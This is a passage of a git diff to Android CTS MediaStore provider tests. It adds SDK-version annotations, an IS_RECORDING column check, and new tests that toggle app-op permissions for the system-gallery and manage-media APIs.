+                            resultFuture.complete(Pair.create(result, null));
+                        }
+
+                        @Override
+                        public void onError(CallLog.CallComposerLoggingException error) {
+                            resultFuture.complete(Pair.create(null, error));
+                        }
+                    });
+           result = resultFuture.get(CONTENT_RESOLVER_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        }
+        if (result.second != null) {
+            fail("Got error " + result.second.getErrorCode() + " when storing image");
+        }
+        Uri imageLocation = result.first;
+
+        try (ParcelFileDescriptor pfd =
+                context.getContentResolver().openFileDescriptor(imageLocation, "r")) {
+            byte[] remoteBytes = readBytes(new FileInputStream(pfd.getFileDescriptor()));
+            assertArrayEquals(expected, remoteBytes);
+        }
+    }
+
+    private byte[] readResourceDrawable(Context context, int id) throws Exception {
+        InputStream inputStream = context.getResources().openRawResource(id);
+        return readBytes(inputStream);
+    }
+
+    private byte[] readBytes(InputStream inputStream) throws Exception {
+        byte[] buffer = new byte[1024];
+        ByteArrayOutputStream output = new ByteArrayOutputStream();
+        int numRead;
+        do {
+            numRead = inputStream.read(buffer);
+            if (numRead > 0) output.write(buffer, 0, numRead);
+        } while (numRead > 0);
+        return output.toByteArray();
+    }
+
     private void waitUntilConditionIsTrueOrTimeout(Condition condition, long timeout,
             String description) {
         final long start = System.currentTimeMillis();
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreAudioTestHelper.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreAudioTestHelper.java
index 471f85a..602c05c 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreAudioTestHelper.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreAudioTestHelper.java
@@ -19,10 +19,12 @@
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.net.Uri;
+import android.os.Build;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Audio.Media;
 import android.provider.cts.ProviderTestUtils;
 
+import androidx.test.filters.SdkSuppress;
 import androidx.test.runner.AndroidJUnit4;
 
 import junit.framework.Assert;
@@ -53,6 +55,7 @@
  * @see MediaStore_Audio_Artists_AlbumsTest
  * @see MediaStore_Audio_AlbumsTest
  */
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(AndroidJUnit4.class)
 public class MediaStoreAudioTestHelper {
     public static abstract class MockAudioMediaInfo {
@@ -88,6 +91,7 @@
         public static final int IS_RINGTONE = 0;
         public static final int IS_NOTIFICATION = 0;
         public static final int IS_ALARM = 0;
+        public static final int IS_RECORDING = 0;
         public static final int IS_MUSIC = 1;
         public static final int YEAR = 1992;
         public static final int TRACK = 1;
@@ -131,6 +135,7 @@
             values.put(Media.IS_MUSIC, IS_MUSIC);
             values.put(Media.IS_ALARM, IS_ALARM);
             values.put(Media.IS_NOTIFICATION, IS_NOTIFICATION);
+            values.put(Media.IS_RECORDING, IS_RECORDING);
             values.put(Media.IS_RINGTONE, IS_RINGTONE);
             return values;
         }
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreIntentsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreIntentsTest.java
index d5442e0..451b1bf 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreIntentsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreIntentsTest.java
@@ -24,11 +24,13 @@
 import android.content.Intent;
 import android.content.pm.ResolveInfo;
 import android.net.Uri;
+import android.os.Build;
 import android.provider.MediaStore;
 import android.provider.cts.ProviderTestUtils;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -43,6 +45,7 @@
  * Tests to verify that common actions on {@link MediaStore} content are
  * available.
  */
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStoreIntentsTest {
     private Uri mExternalAudio;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreMatchTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreMatchTest.java
index 49e6150..73f42c2 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreMatchTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreMatchTest.java
@@ -27,6 +27,7 @@
 import android.content.ContentValues;
 import android.content.Context;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Bundle;
 import android.provider.MediaStore;
 import android.provider.MediaStore.MediaColumns;
@@ -35,6 +36,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -43,6 +45,7 @@
 import org.junit.runners.Parameterized.Parameter;
 import org.junit.runners.Parameterized.Parameters;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStoreMatchTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java
index 797fd14..04d49a9 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java
@@ -25,6 +25,7 @@
 import android.database.ContentObserver;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.provider.MediaStore;
@@ -32,6 +33,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Ignore;
@@ -44,6 +46,7 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStoreNotificationTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStorePendingTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStorePendingTest.java
index 92c98b9..b77a8e5 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStorePendingTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStorePendingTest.java
@@ -35,6 +35,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Environment;
 import android.os.FileUtils;
 import android.provider.MediaStore;
@@ -46,6 +47,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import com.google.common.base.Objects;
 
@@ -65,6 +67,7 @@
 import java.util.HashSet;
 import java.util.Set;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStorePendingTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java
index 5b4d484..aed220d 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java
@@ -26,6 +26,7 @@
 import android.content.ContentValues;
 import android.content.Context;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Bundle;
 import android.os.Environment;
 import android.provider.MediaStore;
@@ -35,6 +36,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Assume;
 import org.junit.Before;
@@ -48,6 +50,7 @@
 import java.io.OutputStream;
 import java.util.Optional;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStorePlacementTest {
     static final String TAG = "MediaStorePlacementTest";
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
index 0dae752..ed33af8 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
@@ -16,12 +16,18 @@
 
 package android.provider.cts.media;
 
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.Manifest;
+import android.app.AppOpsManager;
 import android.content.ContentResolver;
 import android.content.Context;
 import android.content.pm.PackageInfo;
@@ -30,6 +36,7 @@
 import android.database.Cursor;
 import android.net.Uri;
 import android.os.Build;
+import android.os.Process;
 import android.os.storage.StorageManager;
 import android.os.storage.StorageVolume;
 import android.provider.BaseColumns;
@@ -39,7 +46,9 @@
 import android.provider.cts.R;
 import android.util.Log;
 
+import androidx.annotation.NonNull;
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.After;
 import org.junit.Before;
@@ -51,11 +60,14 @@
 
 import java.util.Set;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStoreTest {
     static final String TAG = "MediaStoreTest";
 
     private static final long SIZE_DELTA = 32_000;
+    private static final String[] SYSTEM_GALERY_APPOPS = {
+            AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO};
 
     private Context mContext;
     private ContentResolver mContentResolver;
@@ -79,7 +91,7 @@
         mContext = InstrumentationRegistry.getTargetContext();
         mContentResolver = mContext.getContentResolver();
 
-        Log.d(TAG, "Using volume " + mVolumeName);
+        Log.d(TAG, "Using volume " + mVolumeName + " for user " + mContext.getUserId());
         mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
     }
 
@@ -200,7 +212,7 @@
         final ProviderInfo legacy = getContext().getPackageManager()
                 .resolveContentProvider(MediaStore.AUTHORITY_LEGACY, 0);
         if (legacy == null) {
-            if (Build.VERSION.FIRST_SDK_INT >= Build.VERSION_CODES.R) {
+            if (Build.VERSION.DEVICE_INITIAL_SDK_INT >= Build.VERSION_CODES.R) {
                 // If we're a brand new device, we don't require a legacy
                 // provider, since there's nothing to upgrade
                 return;
@@ -230,6 +242,58 @@
                 legacyPackage.services);
     }
 
+    @Test
+    public void testIsCurrentSystemGallery() throws Exception {
+        assertThat(
+                MediaStore.isCurrentSystemGallery(
+                        mContentResolver, Process.myUid(), getContext().getPackageName()))
+                .isFalse();
+
+        try {
+            setAppOpsModeForUid(Process.myUid(), AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+            assertThat(
+                    MediaStore.isCurrentSystemGallery(
+                            mContentResolver, Process.myUid(), getContext().getPackageName()))
+                    .isTrue();
+        } finally {
+            setAppOpsModeForUid(Process.myUid(), AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+        }
+
+        assertThat(
+                MediaStore.isCurrentSystemGallery(
+                        mContentResolver, Process.myUid(), getContext().getPackageName()))
+                .isFalse();
+    }
+
+    @Test
+    public void testCanManageMedia() throws Exception {
+        final String opString = AppOpsManager.permissionToOp(Manifest.permission.MANAGE_MEDIA);
+
+        // no access
+        assertThat(MediaStore.canManageMedia(getContext())).isFalse();
+        try {
+            // grant access
+            setAppOpsModeForUid(Process.myUid(), AppOpsManager.MODE_ALLOWED, opString);
+
+            assertThat(MediaStore.canManageMedia(getContext())).isTrue();
+        } finally {
+            setAppOpsModeForUid(Process.myUid(), AppOpsManager.MODE_ERRORED, opString);
+        }
+        // no access
+        assertThat(MediaStore.canManageMedia(getContext())).isFalse();
+    }
+
+    private void setAppOpsModeForUid(int uid, int mode, @NonNull String... ops) {
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(null);
+        try {
+            for (String op : ops) {
+                getContext().getSystemService(AppOpsManager.class).setUidMode(op, uid, mode);
+            }
+        } finally {
+            getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+
     private static <T> void assertEmpty(String message, T[] array) {
         if (array != null && array.length > 0) {
             fail(message);
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTrashedTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTrashedTest.java
index 2ed9aff..7778e8a 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTrashedTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTrashedTest.java
@@ -26,6 +26,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Environment;
 import android.provider.MediaStore;
 import android.provider.MediaStore.MediaColumns;
@@ -34,6 +35,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Assume;
 import org.junit.Before;
@@ -45,6 +47,7 @@
 
 import java.io.File;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStoreTrashedTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java
index 0120afb..49a33ad 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java
@@ -19,6 +19,7 @@
 import android.content.ContentValues;
 import android.content.Context;
 import android.net.Uri;
+import android.os.Build;
 import android.os.ParcelFileDescriptor;
 import android.provider.MediaStore;
 import android.provider.MediaStore.DownloadColumns;
@@ -34,7 +35,9 @@
 
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
+import androidx.test.filters.SdkSuppress;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 public class MediaStoreUtils {
     @Test
     public void testStub() {
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_AudioTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_AudioTest.java
index 5cdfa54..39b58ce 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_AudioTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_AudioTest.java
@@ -19,14 +19,17 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 
+import android.os.Build;
 import android.provider.MediaStore.Audio;
 
 import androidx.test.runner.AndroidJUnit4;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(AndroidJUnit4.class)
 public class MediaStore_AudioTest {
     private String mKeyForBeatles;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_AlbumsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_AlbumsTest.java
index 2621949..7f1f9b4 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_AlbumsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_AlbumsTest.java
@@ -32,6 +32,7 @@
 import android.database.Cursor;
 import android.graphics.BitmapFactory;
 import android.net.Uri;
+import android.os.Build;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Audio.Albums;
 import android.provider.MediaStore.Audio.Media;
@@ -43,6 +44,7 @@
 import android.util.Size;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -54,6 +56,7 @@
 import java.io.File;
 import java.io.IOException;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Audio_AlbumsTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_ArtistsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_ArtistsTest.java
index 6ab7c28..39ad280 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_ArtistsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_ArtistsTest.java
@@ -28,6 +28,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.provider.MediaStore.Audio.Artists;
 import android.provider.cts.ProviderTestUtils;
 import android.provider.cts.media.MediaStoreAudioTestHelper.Audio1;
@@ -35,6 +36,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -43,6 +45,7 @@
 import org.junit.runners.Parameterized.Parameter;
 import org.junit.runners.Parameterized.Parameters;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Audio_ArtistsTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Artists_AlbumsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Artists_AlbumsTest.java
index a3bd099..2af1998 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Artists_AlbumsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Artists_AlbumsTest.java
@@ -29,6 +29,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Audio.Artists.Albums;
 import android.provider.MediaStore.Audio.Media;
@@ -38,6 +39,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -46,6 +48,7 @@
 import org.junit.runners.Parameterized.Parameter;
 import org.junit.runners.Parameterized.Parameters;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Audio_Artists_AlbumsTest {
     private Context mContext;
@@ -100,6 +103,7 @@
             assertEquals(1, c.getCount());
             c.moveToFirst();
 
+            assertFalse(c.isNull(c.getColumnIndex(Albums._ID)));
             assertFalse(c.isNull(c.getColumnIndex(Albums.ALBUM_ID)));
             assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Albums.ALBUM)));
             assertNull(c.getString(c.getColumnIndex(Albums.ALBUM_ART)));
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_GenresTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_GenresTest.java
index dee863f..83d1ba2 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_GenresTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_GenresTest.java
@@ -29,6 +29,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.provider.MediaStore.Audio.Genres;
 import android.provider.MediaStore.Audio.Genres.Members;
 import android.provider.cts.ProviderTestUtils;
@@ -36,6 +37,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Ignore;
@@ -45,6 +47,7 @@
 import org.junit.runners.Parameterized.Parameter;
 import org.junit.runners.Parameterized.Parameters;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Audio_GenresTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Genres_MembersTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Genres_MembersTest.java
index b9dc9c9..2a45fdc 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Genres_MembersTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Genres_MembersTest.java
@@ -29,6 +29,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Audio.Genres;
 import android.provider.MediaStore.Audio.Genres.Members;
@@ -39,6 +40,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.After;
 import org.junit.Before;
@@ -49,6 +51,7 @@
 import org.junit.runners.Parameterized.Parameter;
 import org.junit.runners.Parameterized.Parameters;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Audio_Genres_MembersTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java
index 00aabc2..f5eaa5e 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java
@@ -29,6 +29,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Bundle;
 import android.os.Environment;
 import android.provider.MediaStore;
@@ -44,6 +45,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -55,6 +57,7 @@
 import java.io.File;
 import java.io.OutputStream;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Audio_MediaTest {
     private Context mContext;
@@ -105,6 +108,10 @@
         assertNotNull(c = mContentResolver.query(Media.getContentUriForPath(internalPath), null, null,
                 null, null));
         c.close();
+
+        // Check other volume has correct uri
+        assertEquals(Media.getContentUri("0000-0000"),
+                Media.getContentUriForPath("/storage/0000-0000/foo.jpg"));
     }
 
     @Test
@@ -150,6 +157,7 @@
             assertEquals(Audio1.IS_MUSIC, c.getInt(c.getColumnIndex(Media.IS_MUSIC)));
             assertEquals(Audio1.IS_NOTIFICATION, c.getInt(c.getColumnIndex(Media.IS_NOTIFICATION)));
             assertEquals(Audio1.IS_RINGTONE, c.getInt(c.getColumnIndex(Media.IS_RINGTONE)));
+            assertEquals(Audio1.IS_RECORDING, c.getInt(c.getColumnIndex(Media.IS_RECORDING)));
             assertEquals(Audio1.TRACK, c.getInt(c.getColumnIndex(Media.TRACK)));
             assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Media.YEAR)));
             String titleKey = c.getString(c.getColumnIndex(Media.TITLE_KEY));
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java
index 0d0ec25..46c59e7 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java
@@ -28,6 +28,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Audio.Playlists;
 import android.provider.MediaStore.MediaColumns;
@@ -35,6 +36,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -43,6 +45,7 @@
 import org.junit.runners.Parameterized.Parameter;
 import org.junit.runners.Parameterized.Parameters;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Audio_PlaylistsTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Playlists_MembersTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Playlists_MembersTest.java
index 76f7470..be57b56 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Playlists_MembersTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Playlists_MembersTest.java
@@ -29,6 +29,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Audio.Media;
 import android.provider.MediaStore.Audio.Playlists;
@@ -43,6 +44,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.After;
 import org.junit.Before;
@@ -52,6 +54,7 @@
 import org.junit.runners.Parameterized.Parameter;
 import org.junit.runners.Parameterized.Parameters;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Audio_Playlists_MembersTest {
     private String[] mAudioProjection = {
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_DownloadsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_DownloadsTest.java
index a0fc55c..963e61e 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_DownloadsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_DownloadsTest.java
@@ -30,6 +30,7 @@
 import android.database.ContentObserver;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Environment;
 import android.os.FileUtils;
 import android.provider.MediaStore;
@@ -44,6 +45,7 @@
 import android.util.Size;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Assume;
 import org.junit.Before;
@@ -64,6 +66,7 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_DownloadsTest {
     private static final String TAG = MediaStore_DownloadsTest.class.getSimpleName();
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_FilesTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_FilesTest.java
index aa5b1be..95cb076 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_FilesTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_FilesTest.java
@@ -35,6 +35,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Environment;
 import android.os.ParcelFileDescriptor;
 import android.provider.MediaStore;
@@ -45,6 +46,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -58,6 +60,7 @@
 import java.util.ArrayList;
 import java.util.Arrays;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_FilesTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
index 67b233d..d51c540 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
@@ -34,6 +34,7 @@
 import android.graphics.BitmapFactory;
 import android.media.ExifInterface;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Bundle;
 import android.os.Environment;
 import android.os.FileUtils;
@@ -51,6 +52,7 @@
 import android.util.Size;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Assume;
 import org.junit.Before;
@@ -69,6 +71,7 @@
 import java.util.Arrays;
 import java.util.HashSet;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Images_MediaTest {
     private static final String MIME_TYPE_JPEG = "image/jpeg";
@@ -392,8 +395,6 @@
 
     @Test
     public void testLocationRedaction() throws Exception {
-        // STOPSHIP: remove this once isolated storage is always enabled
-        Assume.assumeTrue(StorageManager.hasIsolatedStorage());
         final Uri publishUri = ProviderTestUtils.stageMedia(R.raw.lg_g4_iso_800_jpg, mExternalImages,
                 "image/jpeg");
         final Uri originalUri = MediaStore.setRequireOriginal(publishUri);
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
index 11a0e66..5b154fc 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
@@ -40,6 +40,7 @@
 import android.graphics.Color;
 import android.graphics.ImageDecoder;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Environment;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Images.Media;
@@ -57,6 +58,7 @@
 import android.util.Size;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import junit.framework.AssertionFailedError;
 
@@ -74,6 +76,7 @@
 import java.io.OutputStream;
 import java.util.ArrayList;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Images_ThumbnailsTest {
     private ArrayList<Uri> mRowsAdded;
@@ -115,7 +118,7 @@
 
         mRowsAdded = new ArrayList<Uri>();
 
-        Log.d(TAG, "Using volume " + mVolumeName);
+        Log.d(TAG, "Using volume " + mVolumeName + " for user " + mContext.getUserId());
         mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
 
         final Resources res = mContext.getResources();
